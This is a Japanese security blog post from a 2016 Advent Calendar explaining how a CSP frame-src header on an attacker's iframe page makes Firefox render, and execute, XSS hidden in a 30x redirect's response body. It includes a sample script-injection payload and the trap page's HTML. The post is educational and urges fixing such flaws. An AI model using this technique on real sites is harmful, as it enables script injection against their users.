30xリダイレクトのレスポンスボディでもXSS(その2)
この記事は 「脆弱性"&'<<>\ Advent Calendar 2016」11日目の記事です。昨日のネタの続きです。
昨日は30x応答のレスポンスボディを表示させるために21/tcpなどへのポートへリダイレクトさせるという方法を紹介しました。Firefoxではレスポンスボディを表示させるそれ以外の方法として、CSPを使うという方法があります。
リダイレクタが設置されているサイトが http://page1.example.jp/、リダイレクト先が http://page2.example.jp/ だったとします。
GET /redir?q=http://page2.example.jp/?"><script>alert(1)</script> HTTP/1.1 Host: page1.example.jp ← リダイレクト先と異なるオリジン HTTP/1.1 301 Moved Permanently Location: http://page2.example.jp/?"><script>alert(1)</script> Content-Type: text/html; charset=utf-8 document has moved to <a href="http://page2.example.jp/?"><script>alert(1)</script>">here</a> ← 表示されない・実行されない
攻撃者は、わなサイト(たとえば http://evil.example.com/) 上に Content-Security-Policy を指定したうえで iframe でリダイレクタページを埋め込みます。
Content-Type: text/html;charset=utf-8 Content-Security-Policy: frame-src http://page1.example.jp← CSPでフレーム内のコンテンツとしてpage1のみを許可 <html> <body> <iframe src="http://page1.example.jp/redir?q=http://page2.example.jp/?"><script>alert(1)</script>"></iframe> </iframe>
攻撃者のサイト上ではCSPによりframeとして表示可能なコンテンツがhttp://page1.example.jp/上のリソースに制限されており、iframe内ではpage1.example.jpを読み込んだ時点でpage2.example.jpへのリダイレクトが発生しますが、リダイレクトはCSPにより失敗し、結果としてpage1.example.jpのレスポンスボディが表示され、page1.example.jp上でのXSSが成立します。
というわけで、昨日に引き続き30x応答のレスポンスボディでもXSSを成立させるための方法を紹介しました。このように、30x応答でもXSSが存在していた場合には攻撃を成立させることができますので30xだからと油断せずにきちんと対策が必要です。
なお、昨日および本日の「30xリダイレクトのレスポンスボディでもXSS」ネタは、sec-testing.slack.comで教わりました。sec-testing.slack.comへの参加はhttp://slackin.csrf.jp/ からどうぞ!